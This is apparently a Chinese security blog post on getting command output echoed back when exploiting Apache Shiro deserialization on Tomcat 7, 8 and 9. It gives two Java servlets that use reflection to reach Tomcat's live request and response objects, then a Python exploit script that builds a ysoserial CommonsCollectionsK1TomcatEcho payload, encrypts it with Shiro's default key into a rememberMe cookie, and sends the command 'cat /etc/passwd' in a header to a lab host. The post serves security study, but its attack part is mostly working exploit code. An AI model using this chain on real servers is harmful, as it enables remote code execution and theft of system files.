前言
为了解决Shiro反序列化命令执行没有回显的问题,我们需要想办法构造出回显。思路是寻找存储 request 和 response 的全局变量,然后利用反射获取这个变量,利用获取到的request和response把命令执行的结果写入到页面上。
寻找存储request和response的变量的详细过程可参考这篇文章:基于全局储存的新思路 | Tomcat的一种通用回显方法研究
基于全局存储思路出现了两种获取request和response的方法:
方法一:通过 WebappClassLoaderBase
来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7)
WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9)
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
两种方法的区别在于用了不同的方法获取AbstractProtocol$ConnectoinHandler
1.不适用于Tomcat7的回显方式
获取request和response
路径:
- 通过
Thread.currentThread().getContextClassLoader()
获取上下文中的 StandardService
- 从StandardService中获取Connector
- 获取Connector中的ProtocolHandler属性,从而获取AbstractProtocol
- 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,
- 然后再利用反射获取 gloabl 中的 processors 属性
- 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
具体过程:
1.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService
2.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector
3.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler
4.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler
5.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
最终找到了request
获取的属性:WebappClassLoaderBase->resources->context->service->connectors数组->protocolhandler->handler->global->processors->req
实现
代码比较简单,就是通过反射一步一步的获取属性,最终成功拿到request和response。作为验证,我们用获取到的response对象在页面上输出TomcatEcho
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package com.example.myservlet;
import org.apache.catalina.connector.Connector; import org.apache.catalina.core.StandardContext; import org.apache.coyote.*; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.Writer; import java.lang.reflect.Field; import java.util.ArrayList;
public class TomcatEcho extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { boolean flag=false;
try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Connector[] connectors=(Connector[]) getField(getField(getField(standardContext,"context"),"service"),"connectors");
for(Connector connector:connectors){ Object global=getField(getField(getField(connector,"protocolHandler"),"handler"),"global");
ArrayList processors=(ArrayList)getField(global,"processors");
for(int i=0;i<processors.size();i++){ RequestInfo requestInfo=(RequestInfo) processors.get(i);
if(requestInfo!=null){ Request request=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1); org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();
Writer writer=Myresponse.getWriter(); writer.flush(); writer.write("TomcatEcho"); flag=true; if(flag){ break; } } if(flag){ break; }
}
}
} catch (Exception e){ e.printStackTrace(); }
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req,resp); }
public static Object getField(Object obj,String fieldName) throws Exception{ Field field=null; Class clas=obj.getClass();
while(clas!=Object.class){ try{ field=clas.getDeclaredField(fieldName); break; }catch (NoSuchFieldException e){ clas=clas.getSuperclass(); } }
if (field!=null){ field.setAccessible(true); return field.get(obj); }else{ throw new NoSuchFieldException(fieldName); }
} }
|
在Tomcat8和9中都能成功回显
在Tomcat7中测试出现错误
在Tomcat7中失败的原因
通过调试发现是在获取StandardContext
的过程中出现了问题,也就是下面这句
1
| StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
|
这说明在Tomcat7中获取到的WebappClassLoaderBase
和在Tomcat8、9中获取到的是不一样的,接下来详细看一下各个版本获取到的有什么不同
Tomcat9获取到的WebappClassLoaderBase
Tomcat8获取到的WebappClassLoaderBase
Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败
2.Tomcat7/8/9全版本通用回显方式
获取request和response
Thread.currentThread().getContextClassLoader()
的目的就是为了获取 AbstractProtocol$ConnectoinHandler
,但是这种方式在Tomcat7中并不能获取到context,因此我们需要换一种方式,从其他地方获取 AbstractProtocol$ConnectoinHandler
。
由于 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint$Handler
定义的,同时 Handler 的实现类是 AbstractProtocol$ConnectoinHandler
。因为 AbstractEndpoint 是抽象类,所以需要寻找它的子类—NioEndpoint 类。通过遍历线程获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request
路径:
- 通过
Thread.currentThread().getThreadGroup()
获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint
- 通过NioEndpoint获取
AbstractProtocol$ConnectoinHandler
- 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,
- 然后再利用反射获取 gloabl 中的 processors 属性
- 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
1.首先通过 Thread.currentThread().getThreadGroup()
获取了一个thread数组·,然后遍历threads数组
在遍历到数组中的第五个值的时候,查看相应thread对象的target属性,获取NioEndpoint$Poller
获取父类NioEndpoint
2.target->this$0
已经获取了AbstractProtocol$ConnectoinHandler
,按照顺序下一步就是找到global属性
3.target->this$0->handler->global
获取global属性
4.target->this$0->handler->global->processors
找到processors数组,可以发现req对象,只需要遍历processors数组然后获取这个req对象就可以了
实现
还是利用反射获取属性,跟之前一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package com.example.myservlet;
import org.apache.coyote.*;
import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.Writer; import java.lang.reflect.Field; import java.util.ArrayList;
public class TomcatEcho extends HttpServlet {
protected void doGet(HttpServletRequest reqsdfsdf, HttpServletResponse resp) throws ServletException, IOException { boolean flag=false;
try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for(int i=0;i< threads.length;i++){ Thread thread=threads[i]; String threadName=thread.getName();
try{ Object target= getField(thread,"target"); Object this0=getField(target,"this$0"); Object handler=getField(this0,"handler"); Object global=getField(handler,"global");
ArrayList processors=(ArrayList) getField(global,"processors");
for (int j = 0; j < processors.size(); j++) { RequestInfo requestInfo = (RequestInfo) processors.get(j); if(requestInfo!=null){ Request req=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request) req.getNote(1); org.apache.catalina.connector.Response response=request.getResponse();
Writer writer=response.getWriter(); writer.flush(); writer.write("TomcatEcho"); flag=true; if(flag){ break; } } }
}catch (Exception e){ e.printStackTrace(); } if(flag){ break; } } } catch (Exception e){ e.printStackTrace(); }
}
public static Object getField(Object obj,String fieldName) throws Exception{ Field field=null; Class clas=obj.getClass();
while(clas!=Object.class){ try{ field=clas.getDeclaredField(fieldName); break; }catch (NoSuchFieldException e){ clas=clas.getSuperclass(); } }
if (field!=null){ field.setAccessible(true); return field.get(obj); }else{ throw new NoSuchFieldException(fieldName); }
} }
|
输出成功
Tomcat通用回显在Shiro中的利用
已经有人给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用
https://github.com/zema1/ysoserial/releases
用vulhub上的shiro环境来测试,用python把生成好的字节码加密一下就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import base64 import uuid import subprocess
import requests from Crypto.Cipher import AES
def encode_rememberme(): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.8-SNAPSHOT-all.jar', 'CommonsCollectionsK1TomcatEcho', "a"], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
if __name__ == '__main__':
payload = encode_rememberme()
cookie = { "rememberMe": payload.decode() }
header={ "Testcmd":"cat /etc/passwd", "Testecho": "123" }
r=requests.get(url="http://192.168.248.128:8080/login;jsessionid=30396200999CF64BA54C066DE2F33D97", cookies=cookie,headers=header,proxies={"http":None}) print(r.headers) print(r.text)
|
成功回显
参考
Shiro反序列化漏洞笔记四(实战篇)
深入利用Shiro反序列化漏洞
Java代码执行漏洞中类动态加载的应用
tomcat不出网回显连续剧第六集
Shiro-055 分析&回显
Tomcat通用回显学习
Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案
Tomcat 通用回显 & Shiro 回显利用
基于tomcat的内存 Webshell 无文件攻击技术
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
tomcat结合shiro无文件webshell的技术研究以及检测方法